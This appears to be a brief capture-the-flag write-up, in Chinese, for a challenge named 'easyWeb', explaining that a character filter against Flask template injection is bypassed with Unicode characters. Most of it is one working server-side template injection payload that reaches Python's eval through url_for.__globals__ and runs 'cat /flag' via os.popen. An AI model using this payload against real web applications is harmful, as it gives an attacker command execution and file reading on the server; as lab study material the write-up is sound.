easyWeb

字符规范器,过滤掉了Flask SSTI常见的字符,用Unicode字符绕过。

{{url_for.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}

Last updated